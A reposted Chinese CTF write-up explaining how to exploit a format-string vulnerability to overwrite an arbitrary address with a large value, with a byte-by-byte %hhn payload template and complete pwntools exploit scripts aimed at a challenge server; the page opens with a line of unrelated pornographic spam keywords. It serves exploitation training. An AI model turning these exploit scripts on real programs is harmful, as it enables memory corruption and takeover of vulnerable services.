人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動態(tài)

Python網絡安全格式字符串漏洞任意地址覆蓋大數(shù)字詳解

發(fā)布日期:2021-12-25 10:04 | 文章來源:源碼中國

格式化字符串漏洞覆蓋大數(shù)字時,如果選擇一次性輸出大數(shù)字個字節(jié)來進行覆蓋,會很久很久,或者直接報錯中斷,所以來搞個攻防世界高手區(qū)的題目來總結一下

pwn高手區(qū),實時數(shù)據(jù)監(jiān)測這道題,就是格式化字符串漏洞覆蓋大數(shù)字

題目運行時會直接告訴你key的地址,我們只需要利用imagemagic中的printf利用格式化字符串漏洞來覆蓋就行了,但就像剛才說的,直接覆蓋時間太久了而且會報錯,所以可以想想別的辦法

如果我們想覆蓋key為0x02223322,那么根據(jù)小端存儲,在內存中就是\x22 \x33 \x22 \x02,高地址放高位,低地址放低位

在格式化字符串中,%hhn會向某個地址寫入單字節(jié),%hn 會向某個地址寫入雙字節(jié),單字節(jié)的用的比較多

在這道題中,要覆蓋的地址為0x0804a048,要覆蓋的數(shù)據(jù)為0x02223322,相當于

0x0804a048 \x22
0x0804a049 \x33
0x0804a04a \x22
0x0804a04b \x02

字符串偏移用%p計算出來為12

所以payload構造如下

payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'

很麻煩,但是wiki中給出了一個模板,無論在x86還是x64下都能使用

模板如下

#prev表示前面已輸出的字節(jié)
#word表示應該輸出的字節(jié)
#index表示偏移量
def fmt(prev, word, index):
 if prev < word:
  result = word - prev
  fmtstr = "%" + str(result) + "c"
 elif prev == word:
  result = 0
 else:
  result = 256 + word - prev
  fmtstr = "%" + str(result) + "c"
 fmtstr += "%" + str(index) + "$hhn"
 return fmtstr
#offset表示起始偏移量,比如這題為12
#size表示字節(jié)長度,x86為4,x64為8
#addr表示要覆蓋的地址,這題為0x0804a048
#target表示要覆蓋的值,這題為0x02223322
def fmt_str(offset, size, addr, target):
 payload = ""
 for i in range(4):
  if size == 4:
payload += p32(addr + i)
  else:
payload += p64(addr + i)
 prev = len(payload)
 for i in range(4):#一次傳送一個字節(jié)
  payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
  prev = (target >> i * 8) & 0xff
 return payload
payload = fmt_str(12,4,0x0804A048,0x02223322)

這里要注意一下prev > word的情況,因為已經輸出的字符串大于了我們要輸入的數(shù)值,所以前面加了256,一次只接受一個字節(jié),用溢出來穿,比如prev = 2,word = 1,result = 255,再算上之前已經傳的2,一共是257,溢出之后就是1,就是我們要傳的數(shù)值

完整exp如下 我用的高版本烏班圖,然后是python3,所以做了一些修改,來保證bytes和str

from pwn import *
p = remote('111.200.241.244', '58464')
# p = process("./hello_pwn")
# p.recvuntil(b"Please closing the reaction kettle\n")
# p.recvuntil(b"The switch is:0x4006b0\n")
# p.recvuntil(b">\x00")
# payload = p64(0x04005F6) + 35795745*b'\x00' + b'%12$n'#第12個參數(shù) AAAA
# payload = fmtstr_payload(12,{0x804a048:0x02223322})
# payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'
def fmt(prev,word,index):
 if prev < word:
  result = word - prev
  fmtstr = ('%' + str(result) + 'c').encode()
 elif prev == word:
  result = 0
 else:
  result = 256 + word - prev
  fmtstr = ('%' + str(result) + 'c').encode()
 fmtstr += ('%' + str(index) + '$hhn').encode()
 return fmtstr
def fmt_str(offset,size,addr,target):
 payload = b""
 for i in range(4):
  if size == 4:
payload += p32(addr + i)
  else:
payload += p64(addr + i)
 prev = len(payload)
 for i in range(4):
  payload += fmt(prev, (target >> i *8) & 0xff, offset + i)
  prev = (target >> i * 8) & 0xff
 return payload
payload =fmt_str(12,4,0x804a048,0x2223322)
p.sendline(payload)
p.interactive()

參考ctf-wiki 跳轉處

也可以直接用fmtstr_payload,它是pwntools中的一個工具,可以簡化格式化字符串漏洞的利用

pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte') → str

第一個參數(shù)為偏移,第二個參數(shù){addr:value}表示寫入的數(shù)據(jù),第三個參數(shù)表示已輸出的字符,這里默認值為0,我就沒寫,第四個參數(shù)表示寫入參數(shù)一次寫入的大小,有byte,short,int,對應hhn,hn,n

官方文檔

exp如下

from pwn import *
p = remote('111.200.241.244', '58464')
payload = fmtstr_payload(12,{0x804a048:0x02223322})
p.sendline(payload)
p.interactive()

非常簡短,很方便

以上就是Python網絡安全格式字符串漏洞任意地址覆蓋大數(shù)字詳解的詳細內容,更多關于Python格式化字符串漏洞覆蓋大數(shù)字的資料請關注本站其它相關文章!

版權聲明:本站文章來源標注為YINGSOO的內容版權均為本站所有,歡迎引用、轉載,請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網站,禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像,否則將依法追究法律責任。本站部分內容來源于網友推薦、互聯(lián)網收集整理而來,僅供學習參考,不代表本站立場,如有內容涉嫌侵權,請聯(lián)系alex-e#qq.com處理。

相關文章

實時開通

自選配置、實時開通

免備案

全球線路精選!

全天候客戶服務

7x24全年不間斷在線

專屬顧問服務

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時在線

客服
熱線

400-630-3752
7*24小時客服服務熱線

關注
微信

關注官方微信
頂部